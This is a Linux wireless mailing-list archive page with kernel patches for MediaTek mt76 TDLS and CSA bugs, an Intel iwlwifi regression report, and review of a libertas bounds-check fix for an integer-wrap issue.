(Samsung phones do this aggressively when both peers share a BSS and
traffic exceeds a threshold). Pattern is:
1. Any sustained direct traffic between two STAs sharing the BSS
reaches the auto-TDLS threshold within ~1 s.
2. Peer initiates TDLS; mac80211 routes data frames to the TDLS-peer
WCID and the AP stops forwarding peer-to-peer traffic per the
802.11z spec.
3. Direct-link frames are accepted by firmware, completed in the TX
descriptor pool, but never PHY-transmitted.
4. TCP collapses; the peer eventually tears down the TDLS link with
reason WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED. Cycle repeats.
Effective TCP throughput drops from ~300 Mbit/s (AP route) to ~6
Mbit/s with TDLS active.
Verified on mt7925e (PCIe) at 5 GHz HE NSS 2 MCS 11 80 MHz and at
2.4 GHz 802.11n HT NSS 2 MCS 15. With this patch, TDLS direct link
sustains ~750 Mbit/s and ~130 Mbit/s respectively.
mt76 advertises WIPHY_FLAG_SUPPORTS_TDLS via the shared
mt76_register_phy_helper() but does not provide TDLS-aware
firmware-facing peer setup: no CONNECTION_TDLS constant in
mt76_connac_mcu.h, no STA_REC_TDLS TLV, no TDLS bit in
mt76_wcid_flags, and no TDLS-specific code in
mt7925_mac_write_txwi_8023(). TDLS peers are registered as
CONNECTION_INFRA_STA with peer_addr set to the peer's MAC and
nothing else. The proprietary out-of-tree MediaTek driver carries an
explicit cfg80211_tdls.c (PTK/TK install paths, etc.) with no
in-tree equivalent. Whether the underlying gap is in the firmware
HW_ENCAP path or in mt76's missing TDLS-aware setup is unclear from
the kernel side; the software-encap path sidesteps it either way.
Work around the issue by not advertising SUPPORTS_TX_ENCAP_OFFLOAD
and SUPPORTS_RX_DECAP_OFFLOAD in mt792x_init_wiphy(). mac80211 then
takes the software 802.11 encap path, which submits already-formed
802.11 frames via a different firmware path that handles all WCIDs
correctly, including TDLS peers.
mt792x_init_wiphy() is shared with the Connac2 family (mt7921/22/20/02),
which uses the same firmware HW_ENCAP path; the disable is applied
globally to cover the likely-affected chips. If Connac2 is later
confirmed unaffected, the disable can be narrowed with is_mt7925().
Fixes: 5c14a5f944b9 ("mt76: mt7921: introduce mt7921e support")
Cc: stable@vger.kernel.org
Signed-off-by: ElXreno <elxreno@gmail.com>
Assisted-by: Claude:claude-opus-4-7 bpftrace
---
drivers/net/wireless/mediatek/mt76/mt792x_core.c | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/drivers/net/wireless/mediatek/mt76/mt792x_core.c b/drivers/net/wireless/mediatek/mt76/mt792x_core.c
index 152cfcca2f90..f9610c6c1597 100644
--- a/drivers/net/wireless/mediatek/mt76/mt792x_core.c
+++ b/drivers/net/wireless/mediatek/mt76/mt792x_core.c
@@ -681,8 +681,14 @@ int mt792x_init_wiphy(struct ieee80211_hw *hw)
ieee80211_hw_set(hw, SINGLE_SCAN_ON_ALL_BANDS);
ieee80211_hw_set(hw, HAS_RATE_CONTROL);
- ieee80211_hw_set(hw, SUPPORTS_TX_ENCAP_OFFLOAD);
- ieee80211_hw_set(hw, SUPPORTS_RX_DECAP_OFFLOAD);
+ /* HW TX/RX 802.11 encap offload is intentionally NOT advertised:
+ * the firmware HW_80211_ENCAP path silently drops QoS Data frames
+ * whose destination WCID is a TDLS direct-link peer, breaking TDLS
+ * data flow. The mac80211 software encap path submits already-formed
+ * 802.11 frames, which the firmware handles correctly for all WCIDs.
+ * Re-add SUPPORTS_TX_ENCAP_OFFLOAD / SUPPORTS_RX_DECAP_OFFLOAD here
+ * once the firmware HW_ENCAP path is fixed.
+ */
ieee80211_hw_set(hw, WANT_MONITOR_VIF);
ieee80211_hw_set(hw, SUPPORTS_PS);
ieee80211_hw_set(hw, SUPPORTS_DYNAMIC_PS);
--
2.53.0
^ permalink raw reply related
* [PATCH 0/2] wifi: mt76: fix TDLS direct-link on MediaTek MT7925
From: ElXreno @ 2026-05-03 1:38 UTC (permalink / raw)
To: Felix Fietkau, Lorenzo Bianconi, Ryder Lee, Shayne Chen,
Sean Wang, Matthias Brugger, AngeloGioacchino Del Regno,
Soul Huang, Ming Yen Hsieh, Deren Wu
Cc: linux-wireless, linux-kernel, linux-arm-kernel, linux-mediatek,
stable, ElXreno
This series fixes two TDLS-related issues on the MediaTek MT7925
(Connac3) Wi-Fi 6E chip, observed reproducibly with Samsung phones
and other peers that auto-initiate TDLS direct links.
Patch 1 works around a TDLS direct-link issue on MT7925: QoS Data
frames whose destination WCID is a TDLS peer are silently dropped
after submission to firmware via the HW_80211_ENCAP TX path. mt76
advertises WIPHY_FLAG_SUPPORTS_TDLS via the shared
mt76_register_phy_helper(), but does not provide TDLS-aware
firmware-facing peer setup -- no CONNECTION_TDLS constant in
mt76_connac_mcu.h, no STA_REC_TDLS TLV, no TDLS bit in
mt76_wcid_flags, no TDLS-specific handling in
mt7925_mac_write_txwi_8023(); the proprietary out-of-tree MediaTek
driver carries an explicit cfg80211_tdls.c with no in-tree
equivalent. Whether the underlying gap is in the firmware HW_ENCAP
path or in mt76's missing TDLS-aware setup is unclear from the
kernel side; the software-encap path sidesteps it either way. This
patch stops advertising SUPPORTS_TX_ENCAP_OFFLOAD and
SUPPORTS_RX_DECAP_OFFLOAD in mt792x_init_wiphy(); mac80211 then
takes the software 802.11 encap path, which submits already-formed
802.11 frames via a different firmware path that handles all WCIDs
correctly. Verified on mt7925e at 5 GHz HE 80 MHz and 2.4 GHz
802.11n; TDLS direct link sustains ~750 Mbit/s and ~130 Mbit/s
respectively. The disable is applied to the shared
mt792x_init_wiphy() and so also covers the Connac2 family
(mt7921/22/20/02), which uses the same firmware HW_ENCAP path; if
Connac2 is later confirmed unaffected, the disable can be narrowed
with is_mt7925().
Patch 2 fixes a regression introduced by the MLO refactor in
commit 3878b4333602 ("wifi: mt76: mt7925: update
mt7925_mac_link_sta_[add, assoc, remove] for MLO"): the cleanup
loop in mt7925_mac_sta_remove_links() unconditionally calls
mt7925_mcu_add_bss_info(..., enable=false) for every link of the
station being removed, including TDLS peers on a STATION vif which
share the AP's bss_conf -- wiping the AP-side rate-control context
on every TDLS teardown and collapsing rx bitrate to 6 Mbit/s for
tens of seconds.
---
To: Felix Fietkau <nbd@nbd.name>
To: Lorenzo Bianconi <lorenzo@kernel.org>
To: Ryder Lee <ryder.lee@mediatek.com>
To: Shayne Chen <shayne.chen@mediatek.com>
To: Sean Wang <sean.wang@mediatek.com>
To: Matthias Brugger <matthias.bgg@gmail.com>
To: AngeloGioacchino Del Regno <angelogioacchino.delregno@collabora.com>
To: Soul Huang <Soul.Huang@mediatek.com>
To: Ming Yen Hsieh <mingyen.hsieh@mediatek.com>
To: Deren Wu <deren.wu@mediatek.com>
Cc: linux-wireless@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mediatek@lists.infradead.org
base-commit: 7baf5857e15d722776898510a10546d6b2f18645
---
ElXreno (2):
wifi: mt76: mt792x: disable HW TX/RX encap offload to fix TDLS direct-link
wifi: mt76: mt7925: don't disable AP BSS when removing TDLS peer
drivers/net/wireless/mediatek/mt76/mt7925/main.c | 10 ++++++++++
drivers/net/wireless/mediatek/mt76/mt792x_core.c | 10 ++++++++--
2 files changed, 18 insertions(+), 2 deletions(-)
---
base-commit: 7baf5857e15d722776898510a10546d6b2f18645
change-id: 20260503-mt7925-tdls-fixes-1d1397420900
Best regards,
--
ElXreno <elxreno@gmail.com>
^ permalink raw reply
* [PATCH] wifi: mt76: mt792x: fix NULL dereference during CSA beacon handling
From: Sean Wang @ 2026-05-03 0:46 UTC (permalink / raw)
To: Felix Fietkau, Lorenzo Bianconi
Cc: linux-wireless, linux-mediatek, Sean Wang, Bongani Hlope
From: Sean Wang <sean.wang@mediatek.com>
mac80211 may call channel_switch_rx_beacon() while CSA is active, but
mt76's cached dev->new_ctx is not guaranteed to be valid at that point.
Avoid dereferencing dev->new_ctx when the target channel context is not
available and leave the existing CSA timer unchanged.
kernel: Workqueue: events_unbound cfg80211_wiphy_work [cfg80211]
kernel: RIP: 0010:mt7921_channel_switch_rx_beacon+0x1f/0x100
[mt7921_common]
kernel: RAX: 0000000000000000
kernel: CR2: 0000000000000000
kernel: Call Trace:
kernel: <TASK>
kernel: ieee80211_sta_process_chanswitch+0x67c/0xee0 [mac80211]
kernel: ieee80211_rx_mgmt_beacon+0x842/0x22a0 [mac80211]
kernel: ieee80211_sta_rx_queued_mgmt+0xa7/0xbb0 [mac80211]
kernel: ieee80211_iface_work+0x62e/0x890 [mac80211]
kernel: cfg80211_wiphy_work+0x1ee/0x280 [cfg80211]
kernel: process_scheduled_works+0x180/0x680
kernel: worker_thread+0x1aa/0x450
kernel: kthread+0x181/0x1e0
kernel: ret_from_fork+0x405/0x600
kernel: ret_from_fork_asm+0x11/0x20
kernel: </TASK>
kernel: CR2: 0000000000000000
kernel: ---[ end trace 0000000000000000 ]---
mt7925 has the same unsafe dev->new_ctx dereference in its CSA beacon
handling path, so guard both drivers against the missing target channel
context and leave the existing CSA timer unchanged.
Reported-by: Bongani Hlope <developer@hlope.org.za>
Closes: https://lore.kernel.org/linux-wireless/20260502140616.7672da98@bongani-mini.home.org.za/
Fixes: 8aa2f59260eb ("wifi: mt76: mt7921: introduce CSA support")
Fixes: 7900da40e315 ("wifi: mt76: mt7925: introduce CSA support in non-MLO mode")
Signed-off-by: Sean Wang <sean.wang@mediatek.com>
---
drivers/net/wireless/mediatek/mt76/mt7921/main.c | 3 +++
drivers/net/wireless/mediatek/mt76/mt7925/main.c | 3 +++
2 files changed, 6 insertions(+)
diff --git a/drivers/net/wireless/mediatek/mt76/mt7921/main.c b/drivers/net/wireless/mediatek/mt76/mt7921/main.c
index 3d74fabe7408..a326f4c95c7c 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7921/main.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7921/main.c
@@ -1508,6 +1508,9 @@ static void mt7921_channel_switch_rx_beacon(struct ieee80211_hw *hw,
struct mt792x_vif *mvif = (struct mt792x_vif *)vif->drv_priv;
u16 beacon_interval = vif->bss_conf.beacon_int;
+ if (!dev->new_ctx)
+ return;
+
if (cfg80211_chandef_identical(&chsw->chandef,
&dev->new_ctx->def) &&
chsw->count) {
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/main.c b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
index 73d3722739d0..b96a8e2efcbc 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/main.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
@@ -2402,6 +2402,9 @@ static void mt7925_channel_switch_rx_beacon(struct ieee80211_hw *hw,
beacon_interval = vif->bss_conf.beacon_int;
+ if (!dev->new_ctx)
+ return;
+
if (cfg80211_chandef_identical(&chsw->chandef,
&dev->new_ctx->def) &&
chsw->count) {
--
2.43.0
^ permalink raw reply related
* wifi regression
From: s. b @ 2026-05-02 17:47 UTC (permalink / raw)
To: linux-wireless
[-- Attachment #1.1: Type: text/plain, Size: 33 bytes --]
i used claude to make the report
[-- Attachment #1.2: Type: text/html, Size: 54 bytes --]
[-- Attachment #2: iwlwifi-kernel-bug-report.txt --]
[-- Type: text/plain, Size: 9290 bytes --]
Subject: [REGRESSION] iwlwifi: ADVANCED_SYSASSERT and firmware init timeout on Intel AX211 (Raptor Lake CNVi) - kernel 6.18.12 vs 6.18.9
============================================================
BUG REPORT: iwlwifi regression in Linux kernel 6.18.12
============================================================
1. SUMMARY
----------
The iwlwifi driver fails to initialize on kernel 6.18.12-1kali1 with
repeated ADVANCED_SYSASSERT firmware assertions and "Failed to start RT
ucode: -110" (ETIMEDOUT). The driver retries 3 times and fails completely,
leaving the system without WiFi. The same hardware works flawlessly on
kernel 6.18.9-1kali1 with identical firmware files and firmware-iwlwifi
package.
The failure causes system instability: dependent services hang waiting for
networking, the hardware watchdog trips on shutdown, and the system becomes
effectively unusable requiring a hard reboot or forced power cycle.
2. HARDWARE DETAILS
-------------------
Machine: HP ProBook 440 14 inch G10 Notebook PC
BIOS: V72 Ver. 01.07.01 (12/09/2024)
CPU: 13th Gen Intel Core i7-1355U (Raptor Lake)
WiFi Adapter: Intel Wi-Fi 6E AX211 160MHz
PCI ID: 8086:51f1 (subsystem 8086:0094)
PCI Address: 0000:00:14.3 (Raptor Lake PCH CNVi WiFi, rev 01)
PCI revision: 0x370
RF ID: 0x2010d000
CNV ID: 0x80400
CRF ID: 0x400410
WFPM ID: 0x80000020
CNVI_AUX_MISC_CHIP: 0x00080400
3. SOFTWARE ENVIRONMENT
-----------------------
Distribution: Kali Linux (Rolling)
Working kernel: 6.18.9+kali-amd64 (6.18.9-1kali1)
Broken kernel: 6.18.12+kali-amd64 (6.18.12-1kali1, built 2026-02-25)
Firmware package: firmware-iwlwifi 20260309-1
Firmware file: iwlwifi-so-a0-gf-a0-89.ucode
Working version loaded on 6.18.9: 89.123cf747.0
Failing version loaded on 6.18.12: 89.df9556fc.0
PNVM file: iwlwifi-so-a0-gf-a0.pnvm
4. REGRESSION BEHAVIOR
----------------------
On kernel 6.18.9 (WORKING):
- iwlwifi loads firmware 89.123cf747.0 successfully
- WFPM_AUTH_KEY_0: 0x90
- WFPM_UMAC_PD_NOTIFICATION: 0x20
- Device initializes, WiFi fully operational
On kernel 6.18.12 (BROKEN):
- iwlwifi loads firmware 89.df9556fc.0 (different firmware revision selected!)
- WFPM_AUTH_KEY_0: 0x80000400 (DIFFERENT from working boot)
- WFPM_UMAC_PD_NOTIFICATION: 0x3f (DIFFERENT from working boot)
- crf-id reports 0xbadcafe (INVALID - should be 0x400410)
- SecBoot CPU1 Status: 0x0, CPU2 Status: 0x3100000
- IML/ROM SYSASSERT: 0x0310
- IML/ROM error/state: 0x03100000
- ADVANCED_SYSASSERT fires immediately
- "Failed to start RT ucode: -110" (timeout)
- "Failed to run INIT ucode: -110"
- Retries 3 times, all fail identically
- Hardware watchdog fires on shutdown
KEY OBSERVATION: The crf-id reads as 0x0BADCAFE on the broken kernel (a
common "uninitialized/invalid" magic number) vs 0x400410 on the working
kernel. This suggests the kernel 6.18.12 iwlwifi driver is reading from
the device before it is properly powered/initialized, or a register
mapping change broke the initialization sequence.
Additionally, WFPM_AUTH_KEY_0 changed from 0x90 (working) to 0x80000400
(broken), suggesting the firmware authentication/secure boot handshake
is failing.
5. FULL DMESG FROM FAILED BOOT (kernel 6.18.12)
------------------------------------------------
iwlwifi 0000:00:14.3: enabling device (0000 -> 0002)
iwlwifi 0000:00:14.3: Detected crf-id 0xbadcafe, cnv-id 0x80400 wfpm id 0x80000020
iwlwifi 0000:00:14.3: PCI dev 51f1/0094, rev=0x370, rfid=0x2010d000
iwlwifi 0000:00:14.3: Detected Intel(R) Wi-Fi 6E AX211 160MHz
iwlwifi 0000:00:14.3: loaded firmware version 89.df9556fc.0 so-a0-gf-a0-89.ucode op_mode iwlmvm
iwlwifi 0000:00:14.3: BIOS contains WGDS but no WRDS
iwlwifi 0000:00:14.3: WFPM_UMAC_PD_NOTIFICATION: 0x3f
iwlwifi 0000:00:14.3: WFPM_LMAC2_PD_NOTIFICATION: 0x1f
iwlwifi 0000:00:14.3: WFPM_AUTH_KEY_0: 0x80000400
iwlwifi 0000:00:14.3: CNVI_SCU_SEQ_DATA_DW9: 0x0
iwlwifi 0000:00:14.3: SecBoot CPU1 Status: 0x0, CPU2 Status: 0x3100000
iwlwifi 0000:00:14.3: WFPM_LMAC1_PD_NOTIFICATION: 0x1f
iwlwifi 0000:00:14.3: HPM_SECONDARY_DEVICE_STATE: 0x42
iwlwifi 0000:00:14.3: WFPM_MAC_OTP_CFG7_ADDR: 0x0
iwlwifi 0000:00:14.3: WFPM_MAC_OTP_CFG7_DATA: 0x0
iwlwifi 0000:00:14.3: UMAC CURRENT PC: 0xd05c18
iwlwifi 0000:00:14.3: LMAC1 CURRENT PC: 0xd05c1c
iwlwifi 0000:00:14.3: Start IWL Error Log Dump:
iwlwifi 0000:00:14.3: Transport status: 0x00000042, valid: 919733968
iwlwifi 0000:00:14.3: Loaded firmware version: 89.df9556fc.0 so-a0-gf-a0-89.ucode
iwlwifi 0000:00:14.3: 0xA25BAF8C | ADVANCED_SYSASSERT
iwlwifi 0000:00:14.3: 0xDCF5E5AB | trm_hw_status0
iwlwifi 0000:00:14.3: 0x7994A440 | trm_hw_status1
iwlwifi 0000:00:14.3: 0xF621913B | branchlink2
iwlwifi 0000:00:14.3: 0x8B1C04F3 | interruptlink1
iwlwifi 0000:00:14.3: 0x6CD855E8 | interruptlink2
iwlwifi 0000:00:14.3: Failed to start RT ucode: -110
iwlwifi 0000:00:14.3: Failed to run INIT ucode: -110
iwlwifi 0000:00:14.3: retry init count 0
[... retries 1 and 2 fail identically ...]
iwlwifi 0000:00:14.3: retry init count 2
IML/ROM dump (consistent across all retries):
iwlwifi 0000:00:14.3: 0x0310 | IML/ROM SYSASSERT
iwlwifi 0000:00:14.3: 0x03100000 | IML/ROM error/state
iwlwifi 0000:00:14.3: 0x00000000 | IML/ROM data1
iwlwifi 0000:00:14.3: 0x80000400 | IML/ROM WFPM_AUTH_KEY_0
Fseq Registers (consistent across all retries):
iwlwifi 0000:00:14.3: 0xDB7DCDFB | FSEQ_ERROR_CODE
iwlwifi 0000:00:14.3: 0xCFFFDF86 | FSEQ_TOP_INIT_VERSION
iwlwifi 0000:00:14.3: 0xEDFFD7AB | FSEQ_CNVIO_INIT_VERSION
iwlwifi 0000:00:14.3: 0x7FFBC9ED | FSEQ_OTP_VERSION
iwlwifi 0000:00:14.3: 0x38849003 | FSEQ_TOP_CONTENT_VERSION
iwlwifi 0000:00:14.3: 0x10F4CE69 | FSEQ_ALIVE_TOKEN
iwlwifi 0000:00:14.3: 0xD79D7EC3 | FSEQ_CNVI_ID
iwlwifi 0000:00:14.3: 0x1E74C441 | FSEQ_CNVR_ID
iwlwifi 0000:00:14.3: 0x00080400 | CNVI_AUX_MISC_CHIP
iwlwifi 0000:00:14.3: 0x0BADCAFE | CNVR_AUX_MISC_CHIP
iwlwifi 0000:00:14.3: 0x0BADCAFE | CNVR_SCU_SD_REGS_SD_REG_DIG_DCDC_VTRIM
iwlwifi 0000:00:14.3: 0x0BADCAFE | CNVR_SCU_SD_REGS_SD_REG_ACTIVE_VDIG_MIRROR
iwlwifi 0000:00:14.3: 0x820A4120 | FSEQ_WIFI_FSEQ_VERSION
iwlwifi 0000:00:14.3: 0x00C05203 | FSEQ_BT_FSEQ_VERSION
6. DMESG FROM WORKING BOOT (kernel 6.18.9)
-------------------------------------------
iwlwifi 0000:00:14.3: enabling device (0000 -> 0002)
iwlwifi 0000:00:14.3: Detected crf-id 0x400410, cnv-id 0x80400 wfpm id 0x80000020
iwlwifi 0000:00:14.3: PCI dev 51f1/0094, rev=0x370, rfid=0x2010d000
iwlwifi 0000:00:14.3: Detected Intel(R) Wi-Fi 6E AX211 160MHz
iwlwifi 0000:00:14.3: loaded firmware version 89.123cf747.0 so-a0-gf-a0-89.ucode op_mode iwlmvm
iwlwifi 0000:00:14.3: BIOS contains WGDS but no WRDS
iwlwifi 0000:00:14.3: WFPM_UMAC_PD_NOTIFICATION: 0x20
iwlwifi 0000:00:14.3: WFPM_LMAC2_PD_NOTIFICATION: 0x1f
iwlwifi 0000:00:14.3: WFPM_AUTH_KEY_0: 0x90
iwlwifi 0000:00:14.3: CNVI_SCU_SEQ_DATA_DW9: 0x0
iwlwifi 0000:00:14.3: Detected RF GF, rfid=0x2010d000
iwlwifi 0000:00:14.3: RFIm is deactivated, reason = 4
iwlwifi 0000:00:14.3: base HW address: e4:c7:67:91:d6:42
[WiFi fully operational]
7. ANALYSIS
-----------
The regression between 6.18.9 and 6.18.12 manifests in two observable ways:
a) The crf-id register reads 0x0BADCAFE (a "dead beef"-style poison value)
instead of the correct 0x400410. This indicates the CNVR (Connectivity
Radio) hardware block is not powered or accessible when the driver reads
it. Something in the 6.18.12 iwlwifi init sequence is reading too early
or the power-on sequence changed.
b) A different firmware revision is loaded (89.df9556fc.0 vs 89.123cf747.0)
despite using the same .ucode file (so-a0-gf-a0-89.ucode). This suggests
the firmware-iwlwifi package was updated between the two boots, OR the
driver is selecting different firmware contents from the same file.
c) WFPM_AUTH_KEY_0 shows 0x80000400 (broken) vs 0x90 (working), indicating
the firmware authentication mechanism is in a different state - possibly
the secure boot handshake between driver and firmware is broken.
d) Multiple CNVR registers return 0x0BADCAFE (CNVR_AUX_MISC_CHIP,
CNVR_SCU_SD_REGS_SD_REG_DIG_DCDC_VTRIM, CNVR_SCU_SD_REGS_SD_REG_ACTIVE_VDIG_MIRROR),
confirming the radio hardware block is unresponsive.
8. STEPS TO REPRODUCE
---------------------
1. Boot HP ProBook 440 G10 (Intel AX211 WiFi) with kernel 6.18.12-1kali1
2. WiFi fails immediately during boot - no user action required
3. System becomes unstable; watchdog trips on shutdown
4. Boot same system with kernel 6.18.9-1kali1 - WiFi works perfectly
9. EXPECTED BEHAVIOR
--------------------
iwlwifi should initialize successfully on kernel 6.18.12 as it does on 6.18.9,
given the same hardware and firmware files.
10. WORKAROUND
--------------
Boot with kernel 6.18.9+kali-amd64 (pin via GRUB default).
11. WHERE TO REPORT
-------------------
- Kernel bugzilla: https://bugzilla.kernel.org (Product: Drivers, Component: network-wireless-intel)
- Linux wireless mailing list: linux-wireless@vger.kernel.org
- Kali bug tracker: https://bugs.kali.org
- Intel iwlwifi issues: https://wireless.wiki.kernel.org/en/users/drivers/iwlwifi
12. REPORTER INFO
-----------------
Date: 2026-05-02
Distribution: Kali Linux Rolling
Contact: stephanbotes0@gmail.com
^ permalink raw reply
* Re: [PATCH v3 2/2] wifi: libertas: fix OOB read from firmware bssdescriptsize in scan response
From: Dan Carpenter @ 2026-05-02 17:05 UTC (permalink / raw)
To: oe-kbuild, Tristan Madani, Johannes Berg
Cc: lkp, oe-kbuild-all, libertas-dev, linux-wireless, Tristan Madani
In-Reply-To: <202605030019.lL8x0ZPx-lkp@intel.com>
On Sat, May 02, 2026 at 08:02:39PM +0300, Dan Carpenter wrote:
> Hi Tristan,
>
> kernel test robot noticed the following build warnings:
>
> https://git-scm.com/docs/git-format-patch#_base_tree_information]
>
> url: https://github.com/intel-lab-lkp/linux/commits/Tristan-Madani/wifi-libertas-fix-OOB-read-from-firmware-pkt_ptr-offset-in-RX-path/20260423-061353
> base: https://git.kernel.org/pub/scm/linux/kernel/git/wireless/wireless-next.git main
> patch link: https://lore.kernel.org/r/20260421135027.357622-3-tristmd%40gmail.com
> patch subject: [PATCH v3 2/2] wifi: libertas: fix OOB read from firmware bssdescriptsize in scan response
> config: i386-randconfig-141 (https://download.01.org/0day-ci/archive/20260503/202605030019.lL8x0ZPx-lkp@intel.com/config)
^^^^^^^^^^^^^^^^^^^
Of course, it can't wrap on 64 bit systems. But just do
if (size_add(le32_to_cpu(p_rx_pd->pkt_ptr), sizeof(struct rxpackethdr)) > skb->len) {
I don't know if anyone uses this hardware on 32 bit systems but we may
as well do it right.
regards,
dan carpenter
^ permalink raw reply
* Re: [PATCH v3 2/2] wifi: libertas: fix OOB read from firmware bssdescriptsize in scan response
From: Dan Carpenter @ 2026-05-02 17:02 UTC (permalink / raw)
To: oe-kbuild, Tristan Madani, Johannes Berg
Cc: lkp, oe-kbuild-all, libertas-dev, linux-wireless, Tristan Madani
In-Reply-To: <20260421135027.357622-3-tristmd@gmail.com>
Hi Tristan,
kernel test robot noticed the following build warnings:
https://git-scm.com/docs/git-format-patch#_base_tree_information]
url: https://github.com/intel-lab-lkp/linux/commits/Tristan-Madani/wifi-libertas-fix-OOB-read-from-firmware-pkt_ptr-offset-in-RX-path/20260423-061353
base: https://git.kernel.org/pub/scm/linux/kernel/git/wireless/wireless-next.git main
patch link: https://lore.kernel.org/r/20260421135027.357622-3-tristmd%40gmail.com
patch subject: [PATCH v3 2/2] wifi: libertas: fix OOB read from firmware bssdescriptsize in scan response
config: i386-randconfig-141 (https://download.01.org/0day-ci/archive/20260503/202605030019.lL8x0ZPx-lkp@intel.com/config)
compiler: gcc-14 (Debian 14.2.0-19) 14.2.0
smatch: v0.5.0-9065-ge9cc34fd
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Reported-by: Dan Carpenter <error27@gmail.com>
| Closes: https://lore.kernel.org/r/202605030019.lL8x0ZPx-lkp@intel.com/
smatch warnings:
drivers/net/wireless/marvell/libertas/rx.c:77 lbs_process_rxed_packet() warn: potential user controlled sizeof overflow '((p_rx_pd->pkt_ptr)) + 22' '0-u32max + 22'
vim +77 drivers/net/wireless/marvell/libertas/rx.c
69f9032d9dfeb7 drivers/net/wireless/libertas/rx.c Holger Schurig 2007-11-23 57 int lbs_process_rxed_packet(struct lbs_private *priv, struct sk_buff *skb)
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 58 {
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 59 int ret = 0;
6f93a8e7e41c2d drivers/net/wireless/libertas/rx.c David Woodhouse 2007-12-10 60 struct net_device *dev = priv->dev;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 61 struct rxpackethdr *p_rx_pkt;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 62 struct rxpd *p_rx_pd;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 63 int hdrchop;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 64 struct ethhdr *p_ethhdr;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 65
7919b89c8276d6 drivers/net/wireless/libertas/rx.c Holger Schurig 2008-04-01 66 BUG_ON(!skb);
7919b89c8276d6 drivers/net/wireless/libertas/rx.c Holger Schurig 2008-04-01 67
6f93a8e7e41c2d drivers/net/wireless/libertas/rx.c David Woodhouse 2007-12-10 68 skb->ip_summed = CHECKSUM_NONE;
6f93a8e7e41c2d drivers/net/wireless/libertas/rx.c David Woodhouse 2007-12-10 69
d2ed2703cabd1e drivers/net/wireless/libertas/rx.c Dan Williams 2014-05-22 70 if (priv->wdev->iftype == NL80211_IFTYPE_MONITOR) {
d2ed2703cabd1e drivers/net/wireless/libertas/rx.c Dan Williams 2014-05-22 71 ret = process_rxed_802_11_packet(priv, skb);
d2ed2703cabd1e drivers/net/wireless/libertas/rx.c Dan Williams 2014-05-22 72 goto done;
d2ed2703cabd1e drivers/net/wireless/libertas/rx.c Dan Williams 2014-05-22 73 }
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 74
e45d8e534b6758 drivers/net/wireless/libertas/rx.c Bing Zhao 2009-04-06 75 p_rx_pd = (struct rxpd *) skb->data;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
This comes from rx network data.
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 76
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 @77 if (le32_to_cpu(p_rx_pd->pkt_ptr) + sizeof(struct rxpackethdr) >
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
This + operation can have an integer wrapping bug.
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 78 skb->len) {
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 79 lbs_deb_rx("rx err: pkt_ptr %u beyond skb len %u\n",
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 80 le32_to_cpu(p_rx_pd->pkt_ptr), skb->len);
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 81 ret = -EINVAL;
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 82 dev_kfree_skb(skb);
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 83 goto done;
695347d07c2b05 drivers/net/wireless/marvell/libertas/rx.c Tristan Madani 2026-04-21 84 }
e45d8e534b6758 drivers/net/wireless/libertas/rx.c Bing Zhao 2009-04-06 85 p_rx_pkt = (struct rxpackethdr *) ((u8 *)p_rx_pd +
e45d8e534b6758 drivers/net/wireless/libertas/rx.c Bing Zhao 2009-04-06 86 le32_to_cpu(p_rx_pd->pkt_ptr));
e0e42da3a4df6f drivers/net/wireless/libertas/rx.c Holger Schurig 2009-11-25 87
e0e42da3a4df6f drivers/net/wireless/libertas/rx.c Holger Schurig 2009-11-25 88 dev = lbs_mesh_set_dev(priv, dev, p_rx_pd);
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 89
ece56191932623 drivers/net/wireless/libertas/rx.c Holger Schurig 2007-08-02 90 lbs_deb_hex(LBS_DEB_RX, "RX Data: Before chop rxpd", skb->data,
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 91 min_t(unsigned int, skb->len, 100));
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 92
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 93 if (skb->len < (ETH_HLEN + 8 + sizeof(struct rxpd))) {
9012b28a407511 drivers/net/wireless/libertas/rx.c Holger Schurig 2007-05-25 94 lbs_deb_rx("rx err: frame received with bad length\n");
bbfc6b788f63f0 drivers/net/wireless/libertas/rx.c Stephen Hemminger 2009-03-20 95 dev->stats.rx_length_errors++;
